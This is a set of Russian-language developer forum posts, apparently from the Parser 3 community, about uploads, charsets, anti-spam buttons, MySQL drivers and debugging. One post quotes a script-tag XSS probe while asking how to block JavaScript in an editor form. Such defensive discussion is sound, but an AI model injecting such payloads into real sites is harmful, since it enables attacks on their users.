					)\
				}\
				$media_id[^pSQL.last_insert_id[media]]\
 		   	^if(^save_media[\
					$.picture[$media.value]\
					$.media_source[/media/$article_id/]\
					$.media_x_size[800]\
					$.thumb_source[/media/$article_id/thumbs/]\
					$.thumb_x_size[160]\
					$.format[jpg]\
					$.name[$media_id]\
				]){\
					$result[\
						<p class=\"warning\">при сохранении изображений возникла ошибка</p>\
 		 				^edit_article[]\
					]\
				}\
			} \
		}\
	}[/code]\
разбираться в нем не нужно. Просто скажите мне, почему я получаю вот это:\
\
[code]file\
file may not be overwritten with table, store it to variable instead\
C:/Apache/Apache2/htdocs/adm/articles/auto.p(147:16) \
--------------------------------------------------------------------------------\
create C:/Apache/Apache2/htdocs/adm/articles/auto.p(147:16) \
media_description_tmp C:/Apache/Apache2/htdocs/adm/articles/auto.p(147:2) \
if C:/Apache/Apache2/htdocs/adm/articles/auto.p(142:10) \
if C:/Apache/Apache2/htdocs/adm/articles/auto.p(92:2) \
post_article C:/Apache/Apache2/htdocs/adm/articles/index.html(18:18) \
if C:/Apache/Apache2/htdocs/adm/articles/index.html(14:10) \
if C:/Apache/Apache2/htdocs/adm/articles/index.html(4:2) \
content C:/Apache/Apache2/htdocs/auto.p(275:26) \
body C:/Apache/Apache2/htdocs/auto.p(25:10) \
jBody C:/Apache/Apache2/htdocs/classes//sql.p(76:36) \
connect C:/Apache/Apache2/htdocs/classes//sql.p(76:10) \
inc C:/Apache/Apache2/htdocs/classes//sql.p(76:2) \
server C:/Apache/Apache2/htdocs/auto.p(23:7) \
[/code]\
\
типа у меня есть объект типа file, и я в него пытаюсь запихнуть объект table. Хотя объект $media нигде раньше не определен и файлом быть не может."
"55393","все дело в том, что  пытаюсь в качестве поля таблицы сохранить файл картинки, пришедшей из формы, чего делать, по всей видимости, нельзя (интересно - почему?). Если так нельзя, то нужно придумать, как можно.\
\
ситуация такая:\
есть форма, в которой есть поля, через которые юзер постит рисунки и описания к ним. И тех и других полей может быть много, т.е. идет мульти-аплоад за раз. Проблема в том, чтобы привязать описание рисунка к своему рисунку. Я делал хеш таблицы рисунков и по нему вытаскивал описания из таблицы описаний. Таблицу из рисунков(объект file) создать нельзя. Как тогда привязать описания к рисункам?\
\
Интересно еще то, что $form:media.tables - таблица с объектами типа file - создается, а если руками пытаться запихать файл в таблицу - то получаем ошибку. Однако."
"55394","Нужно при загрузке jpeg-фотографий на сайт писать на них некий текст.\
На сколько я понял, сам парсер умеет писать только на гифах и только шрифтом из картинок.\
Nconvert умеет писать текст начиная с какой-то 4.хх версии, которой нет для FreeBSD 4.11\
Подскажите решение, которое будет универсально и работать, как под виндой, так и под разными никсами.\
Спасибо."
"55396","поэтому мне кажется лучше вынести код, который будет заниматься написанием текста на картинке в отдельный парсерный класс. после этого сделать несколько этих классов с одинаковым API, которые работали бы через разные библиотеки: NConvert, ImageMagic...\
\
т.е. в случае перехода на другую платформу ваш основной парсерный код останется неизменный, а меняться будут будут небольшие библиотеки, которые фактически отличаться будут лишь вызовами внешних скриптов."
"55397","[code]\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<document> \
	[b]<test>[/b]\
		sdsdsd\
	[b]<test_w>[/b]\
</document>}] \
$response:body[^document.string[]] \
[/code]\
[quote]create\
-UNKNOWN ERROR-[/quote]"
"55399","Подробности тут:\
http://www.parser.ru/examples/antispam/\
\
Ну и заодно вы все - подопытные кролики, т.к. для тестирования я подключил его к этому форуму %-)\
\
P.S. если у кого появились проблемы с добавлением сообщений в форум сообщите по почте: misha _at_ design.ru"
"55402","Генерация кнопок - гениальная идея!\
\
P.S. на форуме у меня не работает вход (IE6) - ввел логин с паролем, нажал кнопку - не авторизовался."
"55403","тем не менее в логе вижу что два последних раза (29.08.2006 14:08:26 и 29.08.2006 14:08:02) вы вводили неверный пароль.\
\
хотя сразу после регистрации логин прошел успешно. вы уверены, что не был CAPS LOCK и пароль вы при регистрации вводили в той-же раскладке что и при попытке залогиниться?\
\
если уверены, то попробуйте [url=\"/forum/sendpass.html\"]изменить утеряный пароль[/url], а затем изменить его и выполнить logout/login ещё раз."
"55404","спасибо, всё с логином ОК, а я разгильдяй\
\
В IE6 видно 4 кнопки \"отправить\", сейчас попробую нажать на одну из них..."
"55406","Хотя если подскажете как это делается, может и получится. Ведь это сейчас многим понадобится."
"55407","Вот здесь можно бесплатно взять хороший парсер BBCode: http://www.pc.uz/documents/text/732.html"
"55408","подключил fckeditor не только для администратора, но и для пользователей. данные записываются в БД, оттуда вывожу как [code]^untaint{$katalog.opisanie}[/code]\
\
подскажите, как лучше защититься от ввода javascript в форму?\
- настроить fckeditor, чтобы не пропускал типа [code]<script>alert('aaa');</script>[/code]\
-  или при выводе данных парсером вычищать такой код\
\
что сделать проще/эффективнее/надежнее?"
"55409","в fckconfig.js закоментируйте строку\
[code]FCKConfig.ProtectedSource.Add( /<script[\\s\\S]*?\\/script>/gi ) ;	// <SCRIPT> tags.[/code]\
\
или удалите"
"55410","а в чем же баг?\
[code]\
create\
\
Entity: line 6: parser error : Opening and ending tag mismatch: test_w line 5 and document\
</document>\
           ^\
Entity: line 6: parser error : Premature end of data in tag test line 3\
</document>\
           ^\
Entity: line 6: parser error : Premature end of data in tag document line 2\
</document>\
           ^\
[/code]\
\
нормальное сообщение об ошибке с вашего примера"
"55411","только ничего от этого не меняется :(\
а с документацией у fckeditor напряженка...\
все, что я нашел - это (цитата из what's new к 2.1):\
The editor now offers a way to \"protect\" part of the source to remain untouched while editing or changing views. Just use the \"FCKConfig.ProtectedSource\" object to configure it and customize to your needs. It is based on regular expressions. See fckconfig.js for some samples\
\
То есть получается, он просто ничего не меняет между <script> и </script>"
"55416","чего-то никак не могу понять... :(\
есть текст: text $test[texttext]\
\
с помощью replace или match нужно убрать $test[texttext]\
\
не могу понять, как в таблице замен для replace сделать замену знака $ и знака [\
ставлю экранирующую \\, но не помогает"
"55417","Если скобки парные, их можно не экранировать:\
\
[code]^table::create{from	to\
^$xxxx[xxx]	}[/code]"
"55418","Какие спец. символы можно использовать в пароле для htpasswd?\
\
Неужели никто не знает? Я понимаю, вопрос не совсем по Parser, но хотя бы ссылкой ткните."
"55419","Интересная конструкция :)\
Зачем if если результат одинаков?\
\
[code]132    ^if($oValue is \"bool\" || $oValue is \"int\" || $oValue is \"double\"){\
133      ^self._object2js($oValue)\
134    }{\
135      ^self._object2js[$oValue]\
136    }[/code]"
"55420","...одна из лучших в РуНете! Они что говорят?"
"55421","http://opensea.tv/parser3/ - с этим у меня всё работает как часы."
"55422","http://www.parser.ru/forum/?id=50523 - эта моя идея пригодилась, получается? Я реально польщён. Надо мне будет на своей визитке добавить строчку: \"Консультант Студии А.Лебедева\" :)\
\
А вообще - спасибо, Михаил! Как всегда красивая и полезная вещь у тебя получилась. Завидую по хорошему :)"
"55424","когда за последние 2 недели у 3 клиентов резко увеличилось количество спама (раньше antiflood справлялся, и спама было не много) - нужно было внедрять дополнительные механизмы.\
\
соотв. от механизма antoflood-а отказываться не стал, а добавил лишь проверку на referer-ы (сначала позаписывал в лог то, что нам приносят спамеры). в случае с клитентами пока этого оказалось достаточно (пока спамеры не собирут БД правильных referer-ов).\
\
тем не менее делать новый класс и не добавить в него \"[url=\"/forum/?id=50583\"]простой, с инженерной точки зрения, а значит правильный[/url]\" механизм - было бы преступлением :)\
\
ну и заодно добавил возможность сохранять что-либо в hashfile и потом доставать и проверять это (Eugene [url=\"/forum/?id=38805\"]перекрывал несколько методов[/url] чтобы сделать это и чтобы потом использовать в случае если используется распознование картинок).\
\
ну и в конечном счете избавил от ручного вписывания в формы дополнительных input-ов..."
"55426","И ничего с этим не поделаешь. Перевести сайт на обычный RedHat нельзя. Так они говорят. \
Как быть даже не знаю. Сайт уже давно вешать надо, а тут один файл подводит...\
Может кто поможет в написании этого libparser3mysql.so ?"
"55427","Мотивируйте свою просьбу тем, что если они соберут Вам \"родной\" parser3.cgi и библиотеки, то есть не нулевая вероятность того, что к ним потянутся пользователи парсера. Ещё раз повторю, что т.поддержка у них действительно сильная и не крохобористая. Им собрать что-либо из cvs.parser.ru и настроить - как два пальца. В сепорте у них не студенты, а квалифицированные админы, и даже по ночам уровень сервиса они не опускают.\
\
А какой тарифный план у тебя, Ильяс? http://www.rusonyx.ru/services/shared/ Может \"5\" и просто гарантированной памяти не хватает? Ошибка стабильная или иногда всё-таки скрипты срабатывают?"
"55428","По просьбе нового программиста сделал что-то подобное:\
^define[var;value] - не позволяет изменять новую переменную\
^private[var;value] - не позволяет изменять новую переменную вне класса.\
Вопрос: почему возможно менять ключи и значения хеша, переданного в качестве var? При явном задании свойств такого нет.\
\
[code]\
@define[var;value][tmp]\
$tmp[^math:uid64[]]\
$caller.self.$tmp[$value]\
^process[$caller.self]{@GET_${var}[]\
^$result[^$self.$tmp]\
}\
^process[$caller.self]{@SET_${var}[value]\
#do nothing\
}\
@private[var;value][tmp;t2]\
$tmp[^math:uid64[]] $t2[u$tmp]\
$caller.self.$tmp[$value]\
$caller.self.$t2(1)\
^process[$caller.self]{@GET_${var}[]\
^$result[^$self.$tmp]\
}\
^process[$caller.self]{@SET_${var}[value]\
^^if(def ^$caller.self.$t2){^$self.${tmp}[^$value]}\
}\
[/code]\
+ есть ощущение, что @private можно сделать изящнее. У контекстов есть строковый эквивалент?"
"55429","[code]if ( e.ctrlKey && !e.shiftKey && e.keyCode == 13 ){\
// Submit form if Ctrl+Enter pressed\
fombj.submit()\
}[/code]\
\
Я просто к тому чтобы это закомментировать. Будем кликать, не страшно. Но чтобы ctrl-enter не нажимался."
"55431","То есть, парсер работает отлично. Как только видит этот файл - Internal Server Error."
"55432","Кто нибудь может популярно обяснить в чем различие в данном конкретном случае?"
"55433","Не так качественно скодированное как у Misha v.3, но принцип точно такой же: также 4 одинаковых кнопки, также - специальное поле с ключем, который указывает какая из кнопок верная + изменяющийся CSS который ставит всем нерабочим кнопкам display:none.\
Работает с весны - никаких нареканий. 0% спама за этот период, раньше ежедневно удалять приходилось.\
\
Кстати, у меня еще лог ведется - какие сообщения не были пропущены.\
Сохраняю http-запрос полностью: и тело, и заголовок."
"55434","Всем привет!\
Ситуация такая, на сервере есть папка, нужно сделать чтобы парсер не обрабатывал в ней html файлы. Подскажите как такое осуществить?"
"55435","Через 2 недели после установки защиты (сделаной, кстати, путем расширения antiflood.p) спам прекратился. \
После этого только одна попытка была - 2 августа.  \
\
Теоретически, недостаток один: 25% процентов (в случае с 4-мя кнопками) спама пройдет по теории вероятности. Но на практике - из 127 килобайт спама (24 сообщения) ни одно сообщение не проскочило. Дня снижения вероятности я поставил 5 кнопок, причем первая - всегда нерабочая (т.к. большинство ботов постят с самого первого <input type=\"submit\"/>, это я выяснил экспериментально, ведя подробные логи).\
\
P.S. Даже забыл что спам-боты существуют и не смотрел лог уже несколько месяцев. Идея ASharky в моем случае оказалась 100% работоспособной."
"55436","вот торывок:\
\
> Мне нужен SQL драйвер для MySQL, который работает с Парсером. (Типа\
> http://www.parser.ru/f/1/download/redhat/\
parser3sql_1_4_redhat73_mysql.tаr.gz)\
> Имеющиеся драйвера не работают с RedHat AS3.\
\
Имеющийся драйвер поставляется компанией RedHat в качестве обновления \
официально купленной версией RedHat AS3.\
\
Установка указанного Вами ПО возможна только на тар.планах VPS\
\
-- \
С уважением, Дмитрий Еремеев"
"55440","Почти идеально -- PIL(Python Image Library)\
\
ImageMagic -- может быть лучше в данном случае."
"55441","Встает стандартный по-моему."
"55442","Столкнулся с проблемой - пишу мульти-язычный сайт, среди языков есть турецкий (w&#305;ndows-1254). Так вот, при попытке сделать ^str.upper[] специфические турецкому алфавиту символы и буквы остаются в нижнем регистре. Похоже, прилагаемый к Парсеру файл кодировок неполный, и требует правки. Открыл файл в редакторе, потыкался, и увидел, что не все знаки имеют значения в некоторых столбцах. Но почему-то в списке столбцов есть только lowercase, значения которого и отсутствуют. Тут я запутался - ладно, если бы был столбец uppercase, и не было бы его значения - тогда понятно - буквы все у меня в нижнем регистре, т.к. значений uppercase нету - а так? Вроде по умолчанию буквы в upper, и есть столбец значений lower. Тогда что - некоторые символы и буквы вообще не включены в список? Помогите разобраться."
"55443","http://opensea.tv/download/libmysql.tar.gz - мой драйвер для VPS Rusonyx'а ты пробовал закачать?"
"55444","про \"первую-нерабочую\". я тоже сначала сделал именно так, а потом подумал и убрал код (одна строка сортировки) ибо ломается проще :)\
\
а вот запись в лог нужно будет добавить..."
"55445","вот что вам в помощь:\
http://www.parser.ru/docs/lang/installcharset.htm\
\
далее, если открыть файл с кодировкой 1251 то за 2 минуты можно выяснить, что например русская буква 'з' имеет код E7, 'З' - C7. можно найти строку где описывается большая буква 'З' и увидеть, что в столбце lowercase у неё значится 'E7'. наверное с турецкими символами нужно поступить аналогично. если найдете ошибки в таблице кодировки 1254, поправите их и пришлете - проверим и обновим.\
\
а вообще если вы делаете \"мульти-язычный\" сайт - смотрите лучше сразу в сторону UTF-8, по крайней мере в части хранения данных и административного интерфейса. там вы в одном интерфейсе сразу сможете редактировать данные из разных наборов. а если будет желание экономить байтики посетителям - можете попросить парсер перекодировать содержимое перед выдачей ($response:charset) в зависимости от языковой версии сайта.\
\
P.S. осторожно, при работе с utf-8 у парсера также есть некоторые \"косяки\" в случае строковых функций: upper/lower/left/right/mid. однако мы последнее время как-то не делаем подобные преобразования при выдаче."
"55446","не руками же наверное? или руками сидели вбивали всю кодировку под каждый файл?\
\
Если как-то автоматом, то может быть поделитесь способом?\
\
P.S. вот сижу - проверяю кодировку по-символьно - вроде все правильно - все знаки на месте. А при попытке аппер.лоуер - не пашет. Уже и риквест и риспонс чарсеты менял - все равно не пашет. Может баг?"
"55447","Перепроверил - фйлы кодировки работают правильно. Теперь передо мною другая задача.\
\
Есть сайт. Админка сайта должна быть на русском, но данные через эту админку будут добавляться на разных языках. Как я понял, то в моем случае можно использовать UTF-8, но при первой же попытке ^string.upper[] получил ошибку \
\
change_case_UTF8 error: too big tmpVal(0x0007DDE7)\
\
никакие попытки избавиться от ошибки результата не дали.\
\
Если же использовать определенные кодировки (для турецкого 1254, для русского 1251) - то все данные сохраняются правильно и методы аппер/лоуер работают исправно. Но, соответственно, русская админка херится в ноль - ничего не понятно - каракули. Как мне быть?"
"55448","и столкнулся с проблеой, предсказанной Мишей. ^string.upper[] не работает. Причем пробовал даже средствами MySQL - он также некорректно меняет регистр полей, как и Парсер при не-utf. Пробовал и при определенном чарсете на коннекте к БД, и без него. Пробовал менять регистр до поста в БД - не получается. Как быть? Мне позарез нужно одно поле выводить в верхнем регистре, внезависимости от введенных пользователем данных. Может менять регистр яваскриптом на вводе в форму? но не спортивно как-то. Хотя с другой стороны - юзер лишний раз будет предупрежден, что мол - вводи в верхнем. С удовольствием выслушаю советы."
"55450","ткните пальцем:\
latin1 big5 czech euc_kr gb2312 gbk sjis tis620 ujis dec8 dos german1 hp8 koi8_ru latin2 swe7 usa7 cp1251 danish hebrew win1251 estonia hungarian koi8_ukr win1251ukr greek win1250 croat cp1257 latin5"
"55451","ставил на русоникс с месяц назад версию 3.2.1 (с xml) проблем не возникло. работает по сей день."
"55452","P.S. это был последний мой ответ на ваш вопрос. устал предлагать читать документацию."
"55453","1. в MySQL есть UTF-8!\
2. с .upper и .lower были теже самые проблемы\
решилось всё просто, оказалось что при указанной в auto.p кодировке UTF-8, текст к которому применяли .upper и .lower не был преобразован к кодировке utf-8\
Ultra Edit -> File -> Conversations -> ASCII to UTF-8"
"55454","уже сам прочел. Просто у меня стоит старый добрый 3.27 - там еще не было утф."
"55455","а жаль, может в другое место положите?"
"55457","http://www.8azion.com/about/standards/\
\
Там можно посмотреть все стандарты ;)"
"55458","На родной файл он выдает ошибку 500, а файлы других версий или не видит, или дает ошибку парсера н неверный файл.\
\
Может есть здесь хорошие люди, я бы дал пароли на фтп, проверьте, мож я че не так натворил... Прям беда какая-то..."
"55459","Всем привет, ситуация следующая: есть джоб, который запускается 1 раз в сутки и обрабатывает примерно 1000 записей из бд. По времени это занимает 2 часа. Хочется уменьшить время обработки за счет разбиения на несколько потоков. Потоки парсер не поддерживает, есть ли возможность решить эту задачу,не плодя дополнительных файлов на сервере? Заранее скажу, что перенести джоб на другое время нельзя. спасибо"
"55461","На адрес asharky@opensea.ru Только я либо сегодня вечером смогу повозиться, либо не ранее завтрашнего вечера, потому как уезжаю рано утром на Ладогу нырять на весь день."
"55462","при устанвке была, это то что Parser не находил \"libmysqlclient.so\",\
побовал: find / -name libmysqlclient.so - не нашёл\
попросил support: укзать путь к libmysqlclient.so\
************************\
      Здравствуйте!\
Вы писали:\
\
> Сообщите пожалуйста путь к библиотеке \"libmysqlclient.so\", эта\
> библиотека мне нужна для установки Parser'a http://www.parser.ru\
\
/usr/lib/mysql/libmysqlclient.so\
************************\
\
больше проблем не наблюдалось"
"55464","А оптимизировать код не пробовали? У меня есть задача, которая целиком обновляет базу в 15000 записей и работает не больше 3 секунд."
"55465","Есть форма, при сабмите которой , состояние флажков и переключателей должно запоминаться.\
Как проверить состояние checked ясно (if def), а как проверить состояние disabled?"
"55466","Даже если чек-бокс дисаблен его значение передаеться на сервер.\
Обыкновенный ^if(def ...) тут работает\
Если Вы имели ввиду , как из парсера проверить дисаблен ли чекбокс , то отвечаю : никак ...."
"55467","Что он такое страшное делает, если не секрет?\
Может быть попробуем его вместе оптимизировать?"
"55468","Я в FireFox вижу все четыре кнопки «Отправить», в коде вижу:\
\
[code]\
<INPUT type=\"hidden\" name=\"uid\" value=\"95FDACBA-DC7D-4C01-82B2-24CD2C3570A0\">\
<INPUT type=\"submit\" name=\"F1A754C6-9FAE-4F5D-918F-6D4CC4CD5B74\" value=\"Отправить\" class=\"c6\">\
<INPUT type=\"submit\" name=\"E72DF428-60BC-4178-9E8F-7559051A1AED\" value=\"Отправить\" class=\"c3\">\
<INPUT type=\"submit\" name=\"A0CF5889-38CC-48B5-B417-1152D0DE1AF0\" value=\"Отправить\" class=\"c7\">\
<INPUT type=\"submit\" name=\"E229B9F6-8FFA-4469-9BA5-A1CE62A17128\" value=\"Отправить\" class=\"c5\">\
[/code]\
\
Никак не могу выбрать на какую нужно нажать :)"
"55472","В том то и дело, что оптимизовать нельзя. Не вдаваясь в подробности, скрипт коннектится к веб серверам и ищет нужные данные на страницах с помощью регулярных выражений. Находит и пишет в бд. Т.е. большая часть времени уходит на коннект и загрузку содержимого страницы в объект типа файл. Можно разбить, конечно, сам скрипт на несколько, например по 500 записей каждому и запускать их одновременно. Но не очень красиво получится."
"55474","только в том, чтобы скрипты не дрались за одни и те-же данные (не делали одного и того-же)?\
\
решается элементарно: например создается дополнительная табличка (hashfile не канает, т.к. пока один скрипт не закончит работу он его не \"отпустит\") с одним столбцом (id).\
\
запускается ваш скрипт. он достает id записи из вашей таблицы,  которая ещё не обработана сегодня и id которой нет в вашей новой таблице (один join). затем добавляет в новую таблицу id этой записи (все вышеперечисленное выше - в lock). после этого начинает обрабатывать запись. после завершения работу - для записи указывает что она уже обработана сегодня и удаляет её id из новой таблице. \
\
и пускаёте хоть 20 скриптов одновременно, драться не будут."
"55475","Доброе время суток.\
\
Вот пытаюсь поставитьиз исходников Parsrer 3.2.1 собираю вот с такими опциями \
[color=\"#ff0000\"] ./configure --with-build-warnings --with-assertions --with-mysql-client=mysqlclientlib?withparams --with-static-gc=/usr/lib64 [/color]\
вылетает с такой ошибкой\
[b] checking for libgc... no\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc [/b]\
Чего ему нехватает для сборки?"
"55476","Можете помочь поставить? Если не сложно - можно скинуть файлы парсеровские и настройки на е-майл? Буду очень признателен! ))"
"55477","Добрый день! Пытаюсь сделать проверку постановки обратных ссылок. При переборе сайтов из БД использую \
\
$url[${backlinks.link_url}]\
$file[^file::load[text;^untaint{$url}]] \
$str[$file.text]\
^if(^str.match[ \
   $backlinks.url\
][x]){ЕСТЬ}{НЕТ} \
\
1 сайт все нормально, больше - выдается ошибка\
load\
timeout occured while retrieving document\
\
Видимо нужно использовать кеширование, но что-то я никак не соображу. Подскажите пожалуйста в чем я неправ и что надо сделать.\
\
Заранее спасибо"
"55479","Спасибо, посмотрел, если я правильно понял надо использовать следующим образом?\
\
$file[^file::load[text;^untaint{$url};$intpar[$.timeout(40)]]]"
"55480","[quote]Если Вы имели ввиду , как из парсера проверить дисаблен ли чекбокс , то отвечаю : никак ....[/quote]\
как это никак, по крайней мере один способ напрашивается сам собой:\
передавать hidden значение для каждого флажка, который может быть disablen\
но это решение мне не очень нравится\
\
еще один нюанс: как проверить состояние checked + disabled, потому что если флажок disabled, значение не передается, но при этом флажок может быть checked\
\
получается уже по два hidden значения придется передавать, что мне уже совсем не нравится"
"55481","У меня есть текст\
<img src=\"http://img.yandex.ru/bar/i/pr/pr4.gif\" title=\"Тематический ИЦ - 1100\
Регион: Москва\
Сектор: Коммерческие\
Источник: Официальный\
Тема: Web-дизайн\
Адресат: Организациям\">\
\
Как вытащить цифры (1100), которые могут быть разные, подскажите пожалуйста, спасибо"
"55482","не, проблема не в этом. Как раз так и собирался реализовывать.\
Проблема в следующем: хочу, чтобы был один файл, а количество потоков(т.е. файлов, которые будут выбирать свободные записи) задавалось динамически. Т.е. запускать файл-джоб каждую минуту, если есть свободные ресурсы и непросмотренные записи, давать команду на запуск файла(одного и того же), который будет добирать записи. Не удается  заставить все это работать параллельно.\
На данный момент разбил все записи по 3 критериям. На каждый написал скрипт, сами понимаете они получились практически одинаковыми. Получилось 3 файла, которые запускаются одновременно."
"55485","... И нельзя решить задачу никак?"
"55486","Я заметил что в портфолио студии исчезла графа о том на какой системе сделан сайт ( раньше вроде писали почто всегда ). Это значит что студия полностью отказалась от parser ?. Если коммерческая тайна, то можно не отвечать."
"55487","помочь могу, но пока не понял зачем вы мне хотите скинуть файлы и настройки на мыло.\
\
на 5 тарифе у русоникс ось RedHat я могу установить Parser для RedHat собранный в студии и проверить его _test.html\
\
короче пишите на zumzumka@gmail.com"
"55488","вы не можете посмотреть на \"ошибку\" и поправить её для частного случая?"
"55490","В общем был просто небрежно проинсталлирован парсер. Из той же оперы: Ильяс, вы прислали пароли и лоджины ко всему, но забыли упомянуть адрес Вашего сайта. Хорошо, что я догадлив :)\
\
Осталась одна проблема, которую может решить только Rusonyx! Пошлите ему ссылку на http://www.ваш-сайт.ru/_test.html#sql Проблема там описана и он сможет, и должен!, помочь. После этого сайт на парсере будет полностью работоспособен.\
\
Поменяйте пароли.\
\
ЗЫ. Понравилось содержимое сайта. Очень красивые произведения настоящих мастеров!"
"55491","Блин, я же не дурачок, я смотрю на ошибки. У меня всё равно выходит хрень какая-то.\
\
Собсно, вот такой вариант тоже не прошёл:\
[code]\
	^if(!def $hash.alt){\
		$alt[\
			$.alt[0]\
		]\
		^hash.add[$alt]\
	}\
[/code]"
"55493","регулярное выражение будет следующее:\
^\\D+(\\d+).+$\
в title конечно не должно быть никаких переносов строки"
"55494","Собсно, задача-то в том, чтобы всегда выводился либо заданный ALT, либо пустой."
"55495","Спасибо за ответ.\
^str.match[(^\\D+(\\d+).+$)]['] - ругается\
Unhandled Exception (parser.compile)"
"55496","Миша, спасибо за подсказку, исправился, все заработало:)"
"55497","А экранировать будет Пушкин...\
\
[code]^str.match[(^^\\D+(\\d+).+^$)]['][/code]\
\
\
[color=\"ff0000\"]Поскольку символы ^ и $ используются в Parser, в шаблоне вместо символа ^ используется строка ^^, а вместо символа $ - строка ^$ (см. Литералы).[/color]"
"55498","скачал CGI-шник для FreeBSD 6.1, но он ни в какую не хочет работать ни со вторым апачем, ни с 1.3, в логах перманентное Premature end of script headers: /usr/local/www/cgi-bin/parser3.cgi\
\
все пути правильные, строки перепроверил по 10 раз.\
\
это из-за того что фрюха x64?\
как можно залечить? только установкой 6.1 i386?"
"55499","Указывать технологию — все равно что писать «Сайт работает в кодировке UTF». Поэтому и не пишем.\
\
Следите за списком http://www.parser.ru/powered_by_parser/, он обновляется."
"55501","Есть веб-форма. Пользователь ее заполняет, проставляет флажки и переключатели где ему надо. В зависимости от выбранных вариантов, часть флажков может отключаться (disabled) с помощью JavaScript. Затем пользователь нажимает submit и получает результат.\
\
Суть в том, что форма не исчезает, она остается после submit на странице, для того чтобы пользователь мог попробовать и другие варианты.\
\
Не важно что эта за форма, допустим калькулятор какой-нибудь.\
\
Проблема в том, что после submit, флажки которые были отключены с помощью JavaScript уже не отключены. Логика формы рушится."
"55504","... подумайте когда и почему оно появляется и как его устранить. не додумаетесь сами - приведите это сообщение тут.\
\
P.S. \"вариант тоже не прошёл\" - никому не говорит ни о чем. пишите текст ошибки и указывайте строку в которой парсеру что-то не нравится."
"55505","http://www.parser.ru/forum/?id=45520\
У меня похожая ситуация. На кроне будет один файл, который будет каждую минуту проверять необработанные записи. Если они есть, то запустить,например,[b] 10 раз один и тот же файл на парсере[/b], отдав каждому по 10 записей.\
на пхп это можно было бы сделать след образом\
exec(cgi-bin/parser3/parser3.cgi ./do.html)\
Вопрос:\
как правильно запустить из скрипта другой скрипт на парсере?\
как заставить их работать параллельно, а не последовательно?\
спасибо"
"55506","Всем спасибо, уже переустановил.\
cgi-шник для 8.1 работает под 6.0 R без проблем."
"55508","подскажи теперь новая проблема, забил несколько сайтов все ок, но есть некоторые на которые выдается \
302\
invalid HTTP response status\
\
поэтому не могу их добавить, из-за чего ошибка?\
\
Заранее спасибо, Алексей"
"55513","придумал еще одно решение:\
при сабмите формы установить disabled = false для всех флажков, а сразу после submit вернуть как было\
\
на мой взгляд, это решение более элегантное, чем передавать hidden поля\
единственный минус: в результате таких манипуляций флажки как бы моргают\
но я думаю это не критично"
"55514","Привет! Я никогда раньше не имел опыта работы с языками программирования. Никаких Delphi, C++, PHP, Java и иже с ними (за исключением разве что VBA - в универе). Захотел написать сайт на экономическую тематику, чтобы авторизованным пользователям можно было выкладывать свои статьи. Случайно вышел в нете на парсер. Понравилось. Начал читать документацию. Сейчас уже готовые html(+css) исходники перевел на парсер, вроде легко было.\
Не могли бы вы подсказать, стоит ли мне вообще использовать парсер (cms не прельщает - больная моя голова))? На бесплатном хостинге не будет проблем с его установкой? Спасибо)"
"55515","www.livejournal.com\
www.blogger.com\
...\
...\
..."
"55516","На бесплатных хостингах обычно запрещены собственные CGI-скрипты, к разряду которых относиться и Parser. Поэтому проблемы будут :)\
\
P.S. В информации забыл в номере ICQ последнюю шестерку дописать ;)"
"55517","разъяснить может кто нибудь?\
\
В доке пишет, что:\
[quote][b]$form:tables.поле_формы[/b]\
\
Если поле формы имеет хотя бы одно значение, такая конструкция возвращает [b]таблицу (объект класса table) с одним столбцом field[/b], содержащим все значения поля. Используется для получения множества значений поля. \
Внимание: не забудьте проверить наличие таблицы перед тем, как начать ею оперировать. \
[/quote]\
Думая, что дока врать не может, пишу свой скрипт. На странице используется динамическое добавление элементов формы. Т.е. полей может быть одно, а может быть и несколько. При попытке обработки значений полей через $form:tables.field_name получаю очень странные результаты.\
Проверка ^if($form:field_name){1}{0} возвращает 1, а ^if($form:tables.field_name){1}{0} возвращает 0. Почему? Ведь требуемое по документации одно значение есть, значит должна создаваться таблица с одной строкой. А ее нет. Просветите?"
"55518","есть поля формы, через которые передаются файлы (type=\"file\"). Полей несколько, поля одноименные. Соответственно, для обработки значений полей использую [code]$form:tables.field_name [/code]. И ничего не могу получить.\
\
Причем [code]^if($form:field_name is \"file\"){1}{0}[/code] выдает 1, а [code]^if($form:tables.field_name is \"table\"){1}{0}[/code] выдает 0. Где собака?\
\
Как-то наткнулся на то, что в table нельзя пихать ничего, кроме стринга, может собака тут? Типа объекты типа файл не пихаются в таблицу? Как тогда быть? Как обрабатывать мульти-поля?"
"55519","Потому что в переменной $form:field_name храниться первое значение поля формы, а в $form:tables.field_name храниться таблица. Видимо вы передаете ноль, поэтому в первом случае получаем ноль — верно срабатывает условие (если использовать условие ^if(def $form:field_name), то на экран будет выведенена 1). А ^if($form:tables.field_name) возвращает единицу, т.к. число строк в таблице — больше нуля."
"55520","Очень удобно выводить отладочную информацию в процессе работы скрипа. [url=\"http://www.parser.ru/forum/users/?uid=397\"]ASharky[/url] писал класс [url=\"http://www.opensea.tv/parser3/\"]visualization.p[/url], но мне было неудобно использовать такое длинное название, я его немного исправил.\
\
[b]Использование:[/b]\
[code]\
^debug:print[$form:fields]\
^debug:print[$form:tables]\
# или сокращенная запись:\
^MAIN:p[$form:fields]\
[/code]\
\
\
[b]Код класса:[/b]\
[code]\
###################################################################################################\
# $Id: debug.p, v 1.92 2006/01/31 22:50:14 fant-ik@yandex.ru Exp $\
# BASED:\
# $Id: visualization.p,v 1.91 2005/10/19 15:52:40 asharky@opensea.ru Exp $\
###################################################################################################\
@CLASS\
debug\
\
\
\
@auto[]\
$MAIN:p[$self.print]\
\
\
\
\
@print[object;toFile][_strOut;_now]\
###################################################################################################\
$_strOut[^taint[optimized-as-is][\
	^if(!def $object){\
		^if($object is \"bool\"){\
			^_bool[$object]\
		}{\
			^_void[$object]\
		}\
	}{\
		^if($object is \"date\"){^_date[$object]}\
		^if($object is \"file\"){^_file[$object]}\
		^if($object is \"image\"){^_image[$object]}\
		^if($object is \"bool\"){^_bool[$object]}\
		^if($object is \"table\"){^_table[$object]}\
		^if($object is \"string\"){^_string[$object]}\
		^if($object is \"int\" || $object is \"double\"){^_double[$object]}\
		^if($object is \"hash\"){^_hash[$object]}\
	}\
]]\
^if(def $toFile){\
	$_now[^date::now[]]\
	$_strOut[<br />Begin (${_now.day}.${_now.month}.${_now.year} ${_now.hour}^:${_now.minute}^:${_now.second})^:${_strOut}End<br />]\
	^_strOut.save[append;$toFile]\
}{\
	$result[$_strOut]\
}\
#end @debugShowObject[]\
\
\
\
\
@_string[text;shash]\
###################################################################################################\
